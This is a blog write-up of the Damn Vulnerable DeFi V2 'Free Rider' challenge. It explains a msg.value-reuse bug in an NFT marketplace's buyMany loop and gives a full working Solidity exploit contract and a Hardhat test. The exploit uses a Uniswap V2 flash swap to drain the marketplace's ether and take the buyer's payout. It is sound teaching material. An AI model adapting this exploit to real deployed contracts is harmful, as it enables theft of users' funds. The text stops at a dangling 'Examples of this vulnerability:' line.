Damn Vulnerable DeFi V2 - #10 Free Rider

March 2, 2022 by patrickd

This is part 7 of the write-up series on Damn Vulnerable DeFi V2. Please consider attempting to solve it on your own first since it's a lot less fun after being spoiled!

Challenge #10 - Free rider (opens in a new tab)

A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn't know how to do it. So it's offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You want to build some rep with this buyer, so you've agreed with the plan.

Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.

Sounds like something with flash loans.. But what about this ominous buyer? Is that a smart contract separate from the marketplace?...

Code Review

First thing to notice, looking at the scenario setup in free-rider.challenge.js (opens in a new tab), is that Uniswap V2 is used once more - probably we'll use it to take flash loans? Essentially the following happens here:

  1. The attacker gets 0.5 ether as promised
  2. A Uniswap exchange pair is deployed and provided with 9000 wrapped ether (using WETH9 (opens in a new tab)) and 15000 DamnValuableToken (opens in a new tab) as liquidity
  3. Deploys the FreeRiderNFTMarketplace contract and gives it 90 ether - but why is it given any value at all? Can we steal it somehow?
  4. It appears that the FreeRiderNFTMarketplace deploys the DamnValuableNFT (opens in a new tab) contract during construction and created 6 NFTs, all with the deployer account as owner
  5. All of the tokens are then approved for the marketplace to handle and offered for a price of 15 ether each
  6. And finally, the buyer mystery is solved: A FreeRiderBuyer contract is deployed with the 45 ether - which the attacker can probably obtain by sending the NFTs to this contract?

The challenge's success conditions, found at the bottom of the same file, already clarify some of these questions:

  • The 45 ether of the FreeRiderBuyer contract should have moved to the attacker account
  • The buyer should be able to transfer all of the tokens to themselves
  • And most interestingly, the marketplace shouldn't only lose all of its NFTs but also some of its ether balance

I'm really curious what the ether balance of the NFT marketplace is all about, so let's look at FreeRiderNFTMarketplace.sol (opens in a new tab) - and I immediately have all alarm bells ringing:

function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _buyOne(tokenIds[i]);
    }
}
function _buyOne(uint256 tokenId) private {
    ...
 
    require(msg.value >= priceToPay, "Amount paid is not enough");
 
    // transfer token from seller to buyer
    token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
 
    // pay seller
    payable(token.ownerOf(tokenId)).sendValue(priceToPay);
 
    ...
}

At least that's what should happen whenever you see a payable function, a loop, and the use of msg.value within it.

This pattern effectively means that we can buy multiple NFTs for the same sent value and the payment of the seller will continue functioning, despite the fact that we sent too little ether, because it will instead use the marketplace's own balance of 90 ether.

We only have 0.5 ether and we would need at least 15 ether to buy all of the NFTs using this vulnerability. We could make use of Uniswap V2's Flash Swap (opens in a new tab) feature to obtain the initial funds necessary for the exploit but that would mean we'd have to use 15 ether of the reward we get from the buyer to pay back the loan. This would not allow us to pass this challenge's success conditions!

But what if we're buyer and seller at the same time? This market place allows us to put the NFTs we bought from it back on sale for a price of our choosing via the offerMany() function.

  1. We could flash borrow 30 ether to legitimately buy two of the NFTs
  2. Then put them back on sale for 90 ether each
  3. Using the msg.value-reuse vulnerability we could now buy both for only 90 flash-borrowed ether (instead of 180), draining the marketplace of its entire balance
  4. This would give our attacker account 180 ether of which we have to pay back 120 for the flash loans
  5. The net "profit" of 60 ether is exactly the amount we need to buy the 4 remaining NFTs

Now the only question is how to give our spoils to the buyer in exchange for the reward.

So let's look at FreeRiderBuyer.sol (opens in a new tab) to figure that out:

constructor(address _partner, address _nft) payable {
    ...
    IERC721(_nft).setApprovalForAll(msg.sender, true);
}
 
// Read https://eips.ethereum.org/EIPS/eip-721 for more info on this function
function onERC721Received(
    ...
 
    received++;
    if(received == 6) {
        payable(partner).sendValue(JOB_PAYOUT);
    }
 
    ...
}

Essentially we just have to send all of the NFTs to the buyer's contract, and once the last one was received we'll immediately get the job payout via the onERC721Received() hook. The buyer can then simply take them all from the contract, since it has given him approval to do so in the constructor.

Exploit

FreeRiderExploit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
interface IUniswapV2Pair {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
 
interface IUniswapV2Callee {
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
 
interface IFreeRiderNFTMarketplace {
    function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external;
    function buyMany(uint256[] calldata tokenIds) external payable;
    function token() external returns (IERC721);
}
 
interface IWETH {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
 
interface IERC721 {
    function setApprovalForAll(address operator, bool approved) external;
    function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
 
interface IERC721Receiver {
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
 
contract FreeRiderExploit is IUniswapV2Callee, IERC721Receiver {
    address immutable attacker;
    IUniswapV2Pair immutable uniswapPair;
    IFreeRiderNFTMarketplace immutable nftMarketplace;
    IWETH immutable weth;
    IERC721 immutable nft;
    address freeRiderBuyer;
    constructor(IUniswapV2Pair _uniswapPair, IFreeRiderNFTMarketplace _nftMarketplace, IWETH _weth, address _freeRiderBuyer) {
        attacker = msg.sender;
        uniswapPair = _uniswapPair;
        nftMarketplace = _nftMarketplace;
        weth = _weth;
        nft = _nftMarketplace.token();
        freeRiderBuyer = _freeRiderBuyer;
    }
 
    // 1. Trigger flash swap.
    function pwn() external {
        uniswapPair.swap(120 ether, 0, address(this), hex"00");
    }
 
    // 2. Uniswap callback after receiving flash swap.
    function uniswapV2Call(address, uint, uint, bytes calldata) external override {
        weth.withdraw(120 ether);
 
        // 3. Buy 2 NFTs for 15 ether each.
        uint256[] memory tokenIds = new uint256[](2);
        tokenIds[0] = 0;
        tokenIds[1] = 1;
        nftMarketplace.buyMany{value: 30 ether}(tokenIds);
 
        // 4. Put them back on sale for 90 ether each.
        nft.setApprovalForAll(address(nftMarketplace), true);
        uint256[] memory prices = new uint256[](2);
        prices[0] = 90 ether;
        prices[1] = 90 ether;
        nftMarketplace.offerMany(tokenIds, prices);
 
        // 5. Buy them both but only send 90 ether, the other 90 will be drained from the market's own balance.
        nftMarketplace.buyMany{value: 90 ether}(tokenIds);
 
        // 7. Buy remaining 4 NFTs with 60 ether we gained.
        tokenIds = new uint256[](4);
        tokenIds[0] = 2;
        tokenIds[1] = 3;
        tokenIds[2] = 4;
        tokenIds[3] = 5;
        nftMarketplace.buyMany{value: 60 ether}(tokenIds);
 
        // 8. Send all 6 NFTs to buyer's contract.
        for (uint8 tokenId = 0; tokenId < 6; tokenId++) {
            nft.safeTransferFrom(address(this), freeRiderBuyer, tokenId);
        }
 
        // 10. Calculate fee and pay back loan.
        uint256 fee = ((120 ether * 3) / uint256(997)) + 1;
        weth.deposit{value: 120 ether + fee}();
        weth.transfer(address(uniswapPair), 120 ether + fee);
 
        // 11. Transfer spoils to attacker's EOA.
        payable(address(attacker)).transfer(address(this).balance);
    }
 
    // 6. We'll receive 180 ether as the seller of NFTs, half from our selves, other half stolen.
    // 9. We receive our 45 ether reward after we sent the last NFT to the buyer's contract.
    receive() external payable {}
 
    function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

Note that things like constants have been hardcoded and security measures have been omitted to ease readability!

Finally we have to add the following to the test cases in free-rider.challenge.js (opens in a new tab) in order to deploy and execute the exploit:

it('Exploit', async function () {
    const ExploitFactory = await ethers.getContractFactory('FreeRiderExploit', attacker);
    const exploit = await ExploitFactory.deploy(this.uniswapPair.address, this.marketplace.address, this.weth.address, this.buyerContract.address);
    await exploit.pwn();
});

Conclusion

I really liked this one, it was complex enough to be a little challenging but absolutely solvable without much guesswork. It sure was my favorite challenge so far!

Re-use of the same msg.value within a contract, commonly either through a loop or some kind of batching/multicall function, is a very important pitfall to be aware of. Keep your eyes open for this pattern since it has already put millions of USD at risk in the past!

Examples of this vulnerability: